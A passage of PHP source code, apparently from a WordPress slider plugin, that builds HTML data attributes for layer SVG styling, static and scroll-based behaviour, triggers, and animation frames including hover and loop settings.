$this->slide, $this->slider); if(!empty($c)){ $html .= implode(' ', $c); } $html .= '"'; return ($html !== 'class=""') ? $html : ''; } /** * get the html svg attributes from the layer **/ public function get_html_svg(){ $layer = $this->get_layer(); $svg_html = ''; $svg = array(); $svg_source = $this->get_val($layer, array('svg', 'source')); if(!empty($svg_source)){ $svg['svg_src'] = $this->remove_http($svg_source); $push = array('svgi' => 'idle'); if($this->get_val($layer, array('hover', 'usehover'), false) === true || $this->get_val($layer, array('hover', 'usehover'), false) === 'true' || $this->get_val($layer, array('hover', 'usehover'), false) === 'desktop'){ $push['svgh'] = 'hover'; } foreach($push as $tag => $path){ $svg[$tag] = array(); $oc = $this->get_val($layer, array($path, 'svg', 'originalColor'), 0); $c = $this->get_val($layer, array($path, 'svg', 'color'), '#ffffff'); $sc = $this->get_val($layer, array($path, 'svg', 'strokeColor'), 'transparent'); $sw = $this->get_val($layer, array($path, 'svg', 'strokeWidth'), 0); $sa = $this->get_val($layer, array($path, 'svg', 'strokeDashArray'), ''); $so = $this->get_val($layer, array($path, 'svg', 'strokeDashOffset'), ''); $sall = $this->get_val($layer, array($path, 'svg', 'styleAll'), false); /* SVG Idle Color can have responsive values, but SVG Hover Color is not responsive The ($path === 'idle') if-block below fixes an issue where the hover color .. would not print if the Slider didn't have any responsive breakpoints enabled */ if($path === 'idle') { if($this->adv_resp_sizes == true){ $c = $this->normalize_device_settings($c, $this->enabled_sizes, 'html-array', array('#ffffff'), array(), '||'); }else{ $c = $this->get_biggest_device_setting($c, $this->enabled_sizes); } } if ($oc===true) { $svg[$tag]['oc'] = 't'; } else { if(!in_array(strtolower($c), array('#fff', '#ffffff')) && $c !== '') $svg[$tag]['c'] = $c; if($sc !== 'transparent') $svg[$tag]['sc'] = $sc; if(!in_array($sw, array(0, '0', '0px'), true)) $svg[$tag]['sw'] = $sw; if($sa !== '') $svg[$tag]['sa'] = $sa; if($so !== '') $svg[$tag]['so'] = $so; if($sall !== '' && $sall !== false) $svg[$tag]['sall'] = $sall; } if(empty($svg[$tag]) || $svg[$tag] === " ") unset($svg[$tag]); } } if(!empty($svg)){ foreach($svg as $tag => $vals){ if($svg_html !== '') $svg_html .= $this->ld().RS_T8; $svg_html .= 'data-'.$tag.'="'; if(is_array($vals)){ foreach($vals as $key => $val){ $svg_html .= $key.':'.$val.';'; } }else{ $svg_html .= $vals; } $svg_html .= '"'."\n"; } } return $svg_html; } /** * get the html base_align **/ public function get_html_base_align(){ $layer = $this->get_layer(); $base_align = $this->get_val($layer, array('behavior', 'baseAlign'), 'grid'); return ($base_align !== 'grid') ? 'data-basealign="'.$base_align.'"' : ''; } /** * get the html responsive offset **/ public function get_html_responsive_offset(){ $layer = $this->get_layer(); return ($this->get_val($layer, array('behavior', 'responsiveOffset'), true) === false) ? 'data-rsp_o="off"' : ''; } /** * get the html wrapper ids **/ public function get_html_wrapper_ids(){ $layer = $this->get_layer(); $wrapper_ids = $this->get_val($layer, array('attributes', 'wrapperId')); return ($wrapper_ids !== '') ? 'data-wrpid="'.$wrapper_ids.'"' : ''; } /** * get the html wrapper classes **/ public function get_html_wrapper_classes(){ $layer = $this->get_layer(); $class = $this->get_val($layer, array('attributes', 'wrapperClasses')); return ($class !== '') ? 'data-wrpcls="'.$class.'"' : ''; } /** * get the html layer responsive data **/ public function get_html_responsive_data(){ $layer = $this->get_layer(); $default = (in_array($this->get_val($layer, 'type', 'text'), array('row', 'column'), true)) ? false : true; return ($this->get_val($layer, array('behavior', 'autoResponsive'), $default) === false) ? 'data-rsp_bd="off"' : ''; } /** * get the html layer scroll based data **/ public function get_html_scrollbased_data(){ $layer = $this->get_layer(); $html = 'data-sba="'; $sd = $this->slider->get_param(array('scrolltimeline', 'set'), false); $se = $this->slider->get_param(array('scrolleffects', 'set'), false); $s = $this->get_val($layer, array('timeline', 'scrollBased'), 'default'); $so = $this->get_val($layer, array('timeline', 'scrollBasedOffset'), 0); $e = $this->get_val($layer, array('effects', 'effect'), 'default'); if($s !== 'default' && $sd === true){ $html .= 't:'; $html .= ($s == 'true') ? 'true' : 'false'; $html .= ';'; } if($e !== 'default' && $se === true){ $html .= 'e:'; $html .= ($e == 'true') ? 'true' : 'false'; $html .= ';'; } if(!in_array($so, array('0', 0, '0px'), true) && $sd === true){ $html .= 'so:'.$so; } $html .='"'; return ($html !== 'data-sba=""') ? $html : ''; } /** * get the html static layer data * check if static layer and if yes, set values for it. **/ public function get_html_static_layer(){ if(!$this->is_static) return ''; $layer = $this->get_layer(); $html = 'data-onslides="'; if($this->slider->get_param('type') !== 'hero'){ $s = intval($this->get_val($layer, array('timeline', 'static', 'start'), 1)); $e = $this->get_val($layer, array('timeline', 'static', 'end'), 'last'); }else{ $s = '-1'; $e = '-1'; } //dont write if s is 0 and e ist the last slide $html .= ($s !== 0 && $s !== '') ? 's:'.$s.';' : ''; $html .= ($e !== 'last') ? 'e:'.$e.';' : ''; $html .= '"'; return ($html !== 'data-onslides=""') ? $html : ''; } /** * get the html static layer data * check if static layer and if yes, set values for it. **/ public function get_html_static_position_layer(){ if(!$this->is_static) return ''; $layer = $this->get_layer(); $static_slide = $this->get_static_slide(); $html = 'data-staticz="'; $slp = $static_slide->get_param(array('static', 'position'), 'front'); $staticZ = $this->get_val($layer, array('position', 'staticZ'), $slp); $html .= ($staticZ !== $slp) ? $staticZ : ''; $html .= '"'; return ($html !== 'data-staticz=""') ? $html : ''; } /** * get the html layer trigger **/ public function get_html_trigger(){ $layer = $this->get_layer(); $has_trigger = $this->check_if_trigger_exists(); $trigger_memory = ($has_trigger) ? $this->get_val($layer, array('actions', 'triggerMemory'), 'reset') : 'keep'; return ($has_trigger && $trigger_memory !== 'reset') ? 'data-triggercache="'.$trigger_memory.'"' : ''; } /** * init variables for get_frames **/ public function init_get_frames_vars(){ $this->_base = array( 'grayscale' => array('n' => 'gra', 'd' => array('frame_0' => 0, 'frame_1' => 0, 'default' => 'inherit'), 'depth' => array('filter', 'grayscale')), //0 'brightness' => array('n' => 'bri', 'd' => array('frame_0' => 100, 'frame_1' => 100, 'default' => 'inherit'), 'depth' => array('filter', 'brightness')), //100 'blur' => array('n' => 'blu', 'd' => array('frame_0' => 0, 'frame_1' => 0, 'default' => 'inherit'), 'depth' => array('filter', 'blur')), //100 'bGrayscale' => array('n' => 'bG', 'd' => array('frame_0' => 0, 'frame_1' => 0, 'default' => 'inherit'), 'depth' => array('bfilter', 'grayscale')), //0 'bBrightness' => array('n' => 'bR', 'd' => array('frame_0' => 100, 'frame_1' => 100, 'default' => 'inherit'), 'depth' => array('bfilter', 'brightness')), //100 'bBlur' => array('n' => 'bB', 'd' => array('frame_0' => 0, 'frame_1' => 0, 'default' => 'inherit'), 'depth' => array('bfilter', 'blur')), //0 'bInvert' => array('n' => 'bI', 'd' => array('frame_0' => 0, 'frame_1' => 0, 'default' => 'inherit'), 'depth' => array('bfilter', 'invert')), //0 'bSepia' => array('n' => 'bS', 'd' => array('frame_0' => 0, 'frame_1' => 0, 'default' => 'inherit'), 'depth' => array('bfilter', 'sepia')), //0 'color' => array('n' => 'c', 'd' => 'inherit', 'depth' => array('color', 'color')), //'#ffffff' 'backgroundColor' => array('n' => 'bgc', 'd' => 'inherit', 'depth' => array('bgcolor', 'backgroundColor')), //'transparent' //transform 'x' => array('n' => 'x', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit'), 'depth' => array('transform', 'x')), //0 'y' => array('n' => 'y', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit'), 'depth' => array('transform', 'y')), //0 'z' => array('n' => 'z', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit'), 'depth' => array('transform', 'z')), //0 'scaleX' => array('n' => 'sX', 'd' => array('frame_0' => 1, 'frame_1' => 1, 'default' => 'inherit'), 'depth' => array('transform', 'scaleX')), //0 'scaleY' => array('n' => 'sY', 'd' => array('frame_0' => 1, 'frame_1' => 1, 'default' => 'inherit'), 'depth' => array('transform', 'scaleY')), //0 'opacity' => array('n' => 'o', 'd' => array('frame_0' => 0, 'frame_1' => 1, 'default' => 'inherit'), 'depth' => array('transform', 'opacity')), //1 'rotationX' => array('n' => 'rX', 'd' => array('frame_0' => array(0, '0', '0deg', ''), 'frame_1' => array(0, '0', '0deg', ''), 'default' => 'inherit'), 'depth' => array('transform', 'rotationX')), //0 'rotationY' => array('n' => 'rY', 'd' => array('frame_0' => array(0, '0', '0deg', ''), 'frame_1' => array(0, '0', '0deg', ''), 'default' => 'inherit'), 'depth' => array('transform', 'rotationY')), //0 'rotationZ' => array('n' => 'rZ', 'd' => array('frame_0' => array(0, '0', '0deg', ''), 'frame_1' => array(0, '0', '0deg', ''), 'default' => 'inherit'), 'depth' => array('transform', 'rotationZ')), //0 'skewX' => array('n' => 'skX', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit'), 'depth' => array('transform', 'skewX')), //0 'skewY' => array('n' => 'skY', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit'), 'depth' => array('transform', 'skewY')), //0 'originX' => array('n' => 'oX', 'd' => array('frame_0' => '50%', 'frame_1' => '50%', 'default' => 'inherit'), 'depth' => array('transform', 'originX')), //'50%' 'originY' => array('n' => 'oY', 'd' => array('frame_0' => '50%', 'frame_1' => '50%', 'default' => 'inherit'), 'depth' => array('transform', 'originY')), //'50%' 'originZ' => array('n' => 'oZ', 'd' => array('frame_0' => 0, 'frame_1' => 0, 'default' => 'inherit'), 'depth' => array('transform', 'originZ')), //'0' 'transformPerspective' => array('n' => 'tp', 'd' => true, 'depth' => array('transform', 'transformPerspective')), //'600px' 'clip' => array('n' => 'cp', 'd' => array('frame_0' => 100, 'frame_1' => 100, 'default' => 'inherit'), 'depth' => array('transform', 'clip')), //100 'clipB' => array('n' => 'cpb', 'd' => array('frame_0' => 100, 'frame_1' => 100, 'default' => 'inherit'), 'depth' => array('transform', 'clipB')), //100 //timeline 'ease' => array('n' => 'e', 'd' => array('frame_0' => false, 'default' => 'power3.inOut'), 'depth' => array('timeline', 'ease')), //'power3.inOut' 'start' => array('n' => 'st', 'd' => array('frame_0' => false, 'frame_1' => 10, 'default' => true), 'depth' => array('timeline', 'start')), //0 'speed' => array('n' => 'sp', 'd' => array('frame_0' => false, 'default' => 300), 'depth' => array('timeline', 'speed')), //300 'startRelative' => array('n' => 'sR', 'd' => 0, 'depth' => array('timeline', 'startRelative')) //0 ); $this->_split = array( 'ease' => array('n' => 'e', 'd' => array('frame_0' => false, 'default' => 'inherit')), 'direction' => array('n' => 'dir', 'd' => array('frame_0' => false, 'default' => 'forward')), //'forward' 'delay' => array('n' => 'd', 'd' => array('default' => 5)), //5 //, 'default' => 5 // array('frame_0' => false, 'frame_1' => 5, 'frame_999' => 5) 'x' => array('n' => 'x', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit')), 'y' => array('n' => 'y', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit')), 'z' => array('n' => 'z', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit')), 'scaleX' => array('n' => 'sX', 'd' => array('frame_0' => 1, 'frame_1' => 1, 'default' => 'inherit')), 'scaleY' => array('n' => 'sY', 'd' => array('frame_0' => 1, 'frame_1' => 1, 'default' => 'inherit')), 'opacity' => array('n' => 'o', 'd' => 'inherit'), 'rotationX' => array('n' => 'rX', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit')), 'rotationY' => array('n' => 'rY', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit')), 'rotationZ' => array('n' => 'rZ', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit')), 'skewX' => array('n' => 'skX', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit')), 'skewY' => array('n' => 'skY', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit')), 'originX' => array('n' => 'oX', 'd' => array('frame_0' => '50%', 'frame_1' => '50%', 'default' => 'inherit')), //'50%' 'originY' => array('n' => 'oY', 'd' => array('frame_0' => '50%', 'frame_1' => '50%', 'default' => 'inherit')), //'50%' 'originZ' => array('n' => 'oZ', 'd' => array('frame_0' => 0, 'frame_1' => 0, 'default' => 'inherit')), 'fuse' => array('n' => 'fuse', 'd' => array('default' => false)), 'grayscale' => array('n' => 'gra', 'd' => array('frame_0' => 0, 'frame_1' => 0, 'default' => 'inherit')), //0 'brightness'=> array('n' => 'bri', 'd' => array('frame_0' => 100, 'frame_1' => 100, 'default' => 'inherit')), //100 'blur' => array('n' => 'blu', 'd' => array('frame_0' => 0, 'frame_1' => 0, 'default' => 'inherit')) //100 ); $this->_mask = array( 'x' => array('n' => 'x', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit'), 'depth' => array('mask', 'x')), 'y' => array('n' => 'y', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit'), 'depth' => array('mask', 'y')) ); $this->_sfx = array( 'effect' => array('n' => 'se', 'd' => '', 'depth' => array('sfx', 'effect')), 'color' => array('n' => 'fxc', 'd' => '#ffffff', 'depth' => array('sfx', 'color')) ); $this->_reverse = array( 'x' => array('n' => 'x', 'd' => false, 'depth' => array('reverseDirection', 'x')), 'y' => array('n' => 'y', 'd' => false, 'depth' => array('reverseDirection', 'y')), 'rotationX' => array('n' => 'rX', 'd' => false, 'depth' => array('reverseDirection', 'rotationX')), 'rotationY' => array('n' => 'rY', 'd' => false, 'depth' => array('reverseDirection', 'rotationY')), 'rotationZ' => array('n' => 'rZ', 'd' => false, 'depth' => array('reverseDirection', 'rotationZ')), 'skewX' => array('n' => 'sX', 'd' => false, 'depth' => array('reverseDirection', 'skewX')), 'skewY' => array('n' => 'sY', 'd' => false, 'depth' => array('reverseDirection', 'skewY')), 'maskX' => array('n' => 'mX', 'd' => false, 'depth' => array('reverseDirection', 'maskX')), 'maskY' => array('n' => 'mY', 'd' => false, 'depth' => array('reverseDirection', 'maskY')), 'charsX' => array('n' => 'cX', 'd' => false, 'depth' => array('reverseDirection', 'charsX')), 'charsY' => array('n' => 'cY', 'd' => false, 'depth' => array('reverseDirection', 'charsY')), 'charsDirection' => array('n' => 'cD', 'd' => false, 'depth' => array('reverseDirection', 'charsDirection')), 'wordsX' => array('n' => 'wX', 'd' => false, 'depth' => array('reverseDirection', 'wordsX')), 'wordsY' => array('n' => 'wY', 'd' => false, 'depth' => array('reverseDirection', 'wordsY')), 'wordsDirection' => array('n' => 'wD', 'd' => false, 'depth' => array('reverseDirection', 'wordsDirection')), 'linesX' => array('n' => 'lX', 'd' => false, 'depth' => array('reverseDirection', 'linesX')), 'linesY' => array('n' => 'lY', 'd' => false, 'depth' => array('reverseDirection', 'linesY')), 'linesDirection' => array('n' => 'lD', 'd' => false, 'depth' => array('reverseDirection', 'linesDirection')) ); $this->hv = array( 'opacity' => array('n' => 'o', 'd' => 1), 'scaleX' => array('n' => 'sX', 'd' => 1), 'scaleY' => array('n' => 'sY', 'd' => 1), 'skewX' => array('n' => 'skX', 'd' => 0), 'skewY' => array('n' => 'skY', 'd' => 0), 'rotationX' => array('n' => 'rX', 'd' => 0), 'rotationY' => array('n' => 'rY', 'd' => 0), 'rotationZ' => array('n' => 'rZ', 'd' => 0), 'x' => array('n' => 'x', 'd' => 0), 'y' => array('n' => 'y', 'd' => 0), 'z' => array('n' => 'z', 'd' => 0), 'color' => array('n' => 'c', 'd' => '#fff'), 'backgroundColor' => array('n' => 'bgc', 'd' => 'transparent'), 'gradientStyle' => array('n' => 'gs', 'd' => 'fading'), 'borderColor' => array('n' => 'boc', 'd' => 'transparent'), 'borderRadius' => array('n' => 'bor', 'd' => '0,0,0,0', 'depth' => array('borderRadius', 'v')), //check further as it is stored in v 'borderStyle' => array('n' => 'bos', 'd' => 'none'), 'borderWidth' => array('n' => 'bow', 'd' => '0,0,0,0'), 'transformPerspective' => array('n' => 'tp', 'd' => '600'), 'originX' => array('n' => 'oX', 'd' => '50%'), 'originY' => array('n' => 'oY', 'd' => '50%'), 'originZ' => array('n' => 'oZ', 'd' => '0'), 'textDecoration'=> array('n' => 'td', 'd' => 'none'), 'speed' => array('n' => 'sp', 'd' => 300), 'ease' => array('n' => 'e', 'd' => 'power3.inOut'), 'zIndex' => array('n' => 'zI', 'd' => 'auto'), 'pointerEvents' => array('n' => 'pE', 'd' => 'auto'), 'grayscale' => array('n' => 'gra', 'd' => 0, 'depth' => array('filter', 'grayscale')), 'brightness' => array('n' => 'bri', 'd' => 100, 'depth' => array('filter', 'brightness')), 'blur' => array('n' => 'blu', 'd' => 0, 'depth' => array('filter', 'blur')), 'usehovermask' => array('n' => 'm', 'd' => false) ); } /** * get the finished layer frame object **/ public function get_frames(){ $layer = $this->get_layer(); $type = $this->get_val($layer, 'type', 'text'); $frames = $this->get_val($layer, array('timeline', 'frames'), false); $_frames = array(); /** * frame_0 * inherit || default -> ignore/dont write * * frame_1 * default -> ignore/dont write * * frame_2 - frame_999 * default -> ignore/dont write **/ if(!empty($frames)){ foreach($frames as $fk => $frame){ $_frames[$fk] = array('base' => array()); $split = array(); $mask = false; $push = array(); /** * push the normal values of a frame **/ $use = array( //transform 'x' => $this->_base['x'], 'y' => $this->_base['y'], 'z' => $this->_base['z'], 'scaleX' => $this->_base['scaleX'], 'scaleY' => $this->_base['scaleY'], 'opacity' => $this->_base['opacity'], 'rotationX' => $this->_base['rotationX'], 'rotationY' => $this->_base['rotationY'], 'rotationZ' => $this->_base['rotationZ'], 'skewX' => $this->_base['skewX'], 'skewY' => $this->_base['skewY'], 'originX' => $this->_base['originX'], 'originY' => $this->_base['originY'], 'originZ' => $this->_base['originZ'], 'transformPerspective' => $this->_base['transformPerspective'], //timeline 'ease' => $this->_base['ease'], 'start' => $this->_base['start'], 'speed' => $this->_base['speed'], 'startRelative' => $this->_base['startRelative'] ); if($this->get_val($frame, array('filter', 'use')) === true){ $use['grayscale'] = $this->_base['grayscale']; $use['brightness'] = $this->_base['brightness']; $use['blur'] = $this->_base['blur']; } if($this->get_val($frame, array('bfilter', 'use')) === true){ $use['bGrayscale'] = $this->_base['bGrayscale']; $use['bBrightness'] = $this->_base['bBrightness']; $use['bBlur'] = $this->_base['bBlur']; $use['bInvert'] = $this->_base['bInvert']; $use['bSepia'] = $this->_base['bSepia']; } if($this->get_val($frame, array('color', 'use')) === true){ $use['color'] = $this->_base['color']; } if($this->get_val($frame, array('bgcolor', 'use')) === true){ $use['backgroundColor'] = $this->_base['backgroundColor']; } if($this->get_val($layer, array('timeline', 'clipPath', 'use')) === true){ $use['clip'] = $this->_base['clip']; $use['clipB'] = $this->_base['clipB']; } foreach($use as $key => $v){ $_key = (isset($v['depth'])) ? $v['depth'] : $key; if(is_array($v['d'])){ $a = (isset($v['d'][$fk])) ? $v['d'][$fk] : $v['d']['default']; if($a === false) continue; //if false, ignore the value }else{ $a = $v['d']; } $nv = $this->get_val($frame, $_key, $a); if($_key === 'ease' || (is_array($_key) && in_array('ease', $_key, true))){ $this->easings[$nv] = $nv; } if(is_object($nv) || is_array($nv)){ if($this->adv_resp_sizes == true){ $b = (!is_array($a)) ? array($a) : $a; $nv = $this->normalize_device_settings($nv, $this->enabled_sizes, 'html-array', $b); }else{ $nv = $this->get_biggest_device_setting($nv, $this->enabled_sizes); } }else{ // need to process colors here // frame colors are always only one level if($key === 'color' || $key === 'backgroundColor'){ $nv = RSColorpicker::get($nv); } } if($fk === 'frame_0' && $nv === 'inherit') continue; //inherit is ignored in frame_0 if(is_array($nv)) $nv = implode(',', $nv); if(is_array($a)){ if(!in_array($nv, $a, true)){ $_frames[$fk]['base'][$v['n']] = $this->transform_frame_vals($nv); } }else{ if((string)$nv !== (string)$a){ $_frames[$fk]['base'][$v['n']] = $this->transform_frame_vals($nv); } } } /** * check if we have to add split **/ if($this->get_val($frame, array('chars', 'use')) === true) $split[] = 'chars'; if($this->get_val($frame, array('words', 'use')) === true) $split[] = 'words'; if($this->get_val($frame, array('lines', 'use')) === true) $split[] = 'lines'; if(!empty($split)){ foreach($split as $splt){ $push[$splt] = array( 'ease' => $this->_split['ease'], 'direction' => $this->_split['direction'], 'delay' => $this->_split['delay'], 'x' => $this->_split['x'], 'y' => $this->_split['y'], 'z' => $this->_split['z'], 'scaleX' => $this->_split['scaleX'], 'scaleY' => $this->_split['scaleY'], 'opacity' => $this->_split['opacity'], 'rotationX' => $this->_split['rotationX'], 'rotationY' => $this->_split['rotationY'], 'rotationZ' => $this->_split['rotationZ'], 'skewX' => $this->_split['skewX'], 'skewY' => $this->_split['skewY'], 'originX' => $this->_split['originX'], 'originY' => $this->_split['originY'], 'originZ' => $this->_split['originZ'], ); if($this->get_val($frame, array($splt, 'fuse'), false) === true){ $push[$splt]['fuse'] = $this->_split['fuse']; $push[$splt]['grayscale'] = $this->_split['grayscale']; $push[$splt]['brightness'] = $this->_split['brightness']; $push[$splt]['blur'] = $this->_split['blur']; } foreach($push[$splt] as $k => $v){ $push[$splt][$k]['depth'] = array($splt, $k); } } } /** * check if we have to add mask **/ if($this->get_val($frame, array('mask', 'use')) === true){ $push['mask'] = array( 'u' => 't', //will set always u:t; as we need it 'x' => $this->_mask['x'], 'y' => $this->_mask['y'] ); } /** * check if we have to add effect **/ if(!in_array($this->get_val($frame, array('sfx', 'effect')), array('', 'none'), true)){ $push['sfx'] = array( 'effect' => $this->_sfx['effect'], 'color' => $this->_sfx['color'] ); } /** * check if we have to add reverse **/ if($fk === 'frame_0' || $fk === 'frame_999'){ $push['reverse'] = array( 'x' => $this->_reverse['x'], 'y' => $this->_reverse['y'], 'rotationX' => $this->_reverse['rotationX'], 'rotationY' => $this->_reverse['rotationY'], 'rotationZ' => $this->_reverse['rotationZ'], 'skewX' => $this->_reverse['skewX'], 'skewY' => $this->_reverse['skewY'], 'maskX' => $this->_reverse['maskX'], 'maskY' => $this->_reverse['maskY'], 'charsX' => $this->_reverse['charsX'], 'charsY' => $this->_reverse['charsY'], 'charsDirection' => $this->_reverse['charsDirection'], 'wordsX' => $this->_reverse['wordsX'], 'wordsY' => $this->_reverse['wordsY'], 'wordsDirection' => $this->_reverse['wordsDirection'], 'linesX' => $this->_reverse['linesX'], 'linesY' => $this->_reverse['linesY'], 'linesDirection' => $this->_reverse['linesDirection'] ); } if(!empty($push)){ foreach($push as $zone => $values){ foreach($values as $key => $v){ if(is_string($v)){ $_frames[$fk][$zone][$key] = $v; }else{ $_key = (isset($v['depth'])) ? $v['depth'] : $key; if(!isset($_frames[$fk][$zone])) $_frames[$fk][$zone] = array(); if(is_array($v['d'])){ $a = (isset($v['d'][$fk])) ? $v['d'][$fk] : $v['d']['default']; if($a === false) continue; //if false, ignore the value }else{ $a = $v['d']; } $nv = $this->get_val($frame, $_key, $a); if($_key === 'ease' || (is_array($_key) && in_array('ease', $_key, true))){ $this->easings[$nv] = $nv; } if(is_object($nv) || is_array($nv)){ if($this->adv_resp_sizes == true){ $b = (!is_array($a)) ? array($a) : $a; $nv = $this->normalize_device_settings($nv, $this->enabled_sizes, 'html-array', $b); }else{ $nv = $this->get_biggest_device_setting($nv, $this->enabled_sizes); } } if(is_array($nv)) $nv = implode(',', $nv); if(isset($_key[1]) && $_key[1] === 'delay'){ $_frames[$fk][$zone][$v['n']] = $this->transform_frame_vals($nv); }else{ if(is_array($a)){ if(!in_array($nv, $a, true)){ $_frames[$fk][$zone][$v['n']] = $this->transform_frame_vals($nv); } }else{ if((string)$nv !== (string)$a){ $_frames[$fk][$zone][$v['n']] = $this->transform_frame_vals($nv); } } } } } } } } } /** * check if we have to add hover frame **/ if($this->get_val($layer, array('hover', 'usehover'), false) === true || $this->get_val($layer, array('hover', 'usehover'), false) === 'true' || $this->get_val($layer, array('hover', 'usehover'), false) === 'desktop'){ $_frames['frame_hover'] = array('base' => array()); $idle_v = $this->get_val($layer, 'idle', array()); $hover_v = $this->get_val($layer, 'hover', array()); $hv = $this->hv; if ($this->get_val($layer, array('hover', 'usehover'), false) === 'desktop') $hv['instantClick'] = array('n' => 'iC', 'd' => 'true'); $devices = array('d', 'n', 't', 'm'); foreach($hv as $key => $v){ $_key = (isset($v['depth'])) ? $v['depth'] : $key; $nv = $this->get_val($hover_v, $_key, $v['d']); if($_key === 'ease') $this->easings[$nv] = $nv; if(is_object($nv) || is_array($nv)){ // (all?) hover styles in the admin are currently global for all devices // this solves an issue with borderWidth and borderRadius hovers (which have a "top/right/bottom/left" array) foreach($devices as $device){ $devices_exist = $this->get_val($nv, $device); if($devices_exist) break; } if($devices_exist){ if($this->adv_resp_sizes == true){ $nv = $this->normalize_device_settings($nv, $this->enabled_sizes, 'html-array', array($v['d'])); }else{ $nv = $this->get_biggest_device_setting($nv, $this->enabled_sizes); } } } /* Hover values need to be compared to Idle values in order to print correctly Example case: 1. Idle Color = red 2. Hover Color = #ffffff Result: Hover Color will not print because it equals the Hover Color default (#ffffff), .. and because it wasn't printed it will not animate */ $hover = $nv; $idle = $this->get_val($idle_v, $_key, $v['d']); if(is_object($idle) || is_array($idle)){ $devices_exist = false; foreach($devices as $device){ $devices_exist = $this->get_val($idle, $device); if($devices_exist) break; } if($devices_exist){ if($this->adv_resp_sizes == true){ $idle = $this->normalize_device_settings($idle, $this->enabled_sizes, 'html-array', array($v['d'])); }else{ $idle = $this->get_biggest_device_setting($idle, $this->enabled_sizes); } } } // sanitize values for comparison $lowkey = strtolower($key); if(strpos($lowkey, 'color') !== false){ $hover = RSColorpicker::normalizeColors($hover); $idle = RSColorpicker::normalizeColors($idle); // this is important in case the color is a gradient // .. "normalizeColors" also converts JSON string value to printable CSS gradient $nv = $hover; }else{ // sometimes a value can exist as "10" or "10px" (also strips "ms", "%" and "deg" for comparison), // so this new function gets the raw number so they can be compared accurately $hover = $this->strip_suffix($hover); $idle = $this->strip_suffix($idle); } // convert hover value to arrays if needed so they can be compared if(is_array($idle)){ if(!is_array($hover)){ $hover = array($hover); for($i = 1; $i < count($idle); $i++){ $hover[] = $hover[0]; } }else{ while(count($hover) < count($idle)){ $hover[] = $hover[count($hover) - 1]; } } } // If iC (instanc Click) is available, we must write it ! if($v['n'] === 'iC') $idle = 'false'; if(is_array($hover)) $hover = implode(',', $hover); if(is_array($idle)) $idle = implode(',', $idle); if(is_array($nv)) $nv = implode(',', $nv); // if value doesn't equal default OR Hover value doesn't equal Idle if((string)$nv !== (string)$v['d'] || (string)$hover !== (string)($idle)){ $_frames['frame_hover']['base'][$v['n']] = $this->transform_frame_vals($nv); } } //remove borders if styling is set to none if(!isset($_frames['frame_hover']['base']['bos']) || $_frames['frame_hover']['base']['bos'] === 'none'){ if(isset($_frames['frame_hover']['base']['bow'])) unset($_frames['frame_hover']['base']['bow']); if(isset($_frames['frame_hover']['base']['boc'])) unset($_frames['frame_hover']['base']['boc']); if(isset($_frames['frame_hover']['base']['bos'])) unset($_frames['frame_hover']['base']['bos']); } } /** * add tloop frame * since 6.0 **/ if($this->get_val($layer, array('timeline', 'tloop', 'use'), false) === true){ $_frames['tloop'] = array('base' => array()); $t_from = $this->get_val($layer, array('timeline', 'tloop', 'from'), 'frame_1'); $t_to = $this->get_val($layer, array('timeline', 'tloop', 'to'), 'frame_999'); $t_repeat = $this->get_val($layer, array('timeline', 'tloop', 'repeat'), -1); $t_keep = $this->get_val($layer, array('timeline', 'tloop', 'keep'), true); $t_child = $this->get_val($layer, array('timeline', 'tloop', 'children'), true); if($t_from !== 'frame_1') $_frames['tloop']['base']['f'] = $t_from; if($t_to !== 'frame_999') $_frames['tloop']['base']['t'] = $t_to; if($t_keep === false) $_frames['tloop']['base']['k'] = 'false'; if(!in_array($t_repeat, array(-1, '-1'))) $_frames['tloop']['base']['r'] = $t_repeat; if($t_child === false && in_array($this->get_val($layer, 'type', 'text'), array('group', 'row', 'column'), true)) $_frames['tloop']['base']['c'] = $t_child; if(empty($_frames['tloop']['base'])) $_frames['tloop']['base']['u'] = true; //if empty, set u to true so that frontend knows that it is set } /** * Add modifications here **/ if(!empty($_frames)){ //if endWidthSlide is true, set st to w $start_cache_999 = $this->get_val($_frames, array('frame_999', 'base', 'st')); if($this->get_val($frames, array('frame_999', 'timeline', 'endWithSlide'), false)){ $_frames['frame_999']['base']['st'] = 'w'; } $start_cache = array(); $uid = $this->get_val($layer, 'uid'); foreach($frames as $frame => $zone){ $start_cache[$frame] = $this->get_val($_frames, array($frame, 'base', 'st')); $at = $this->get_val($zone, array('timeline', 'actionTriggered'), false); $trg = $this->layer_frame_triggered($uid, $frame); $ign = !in_array($frame, array('frame_hover', 'frame_0'), true); if($at === true && $trg === true && $ign === true){ $_frames[$frame]['base']['st'] = 'a'; } } foreach($_frames as $frame => $zone){ if($frame !== 'frame_0' && in_array($this->get_val($layer, 'type', 'text'), array('group', 'row', 'column'), true)){ if(!isset($start_cache[$frame])) $start_cache[$frame] = $this->get_val($_frames, array($frame, 'base', 'st')); if(isset($_frames[$frame]['base']['st']) && !is_numeric($_frames[$frame]['base']['st'])){ 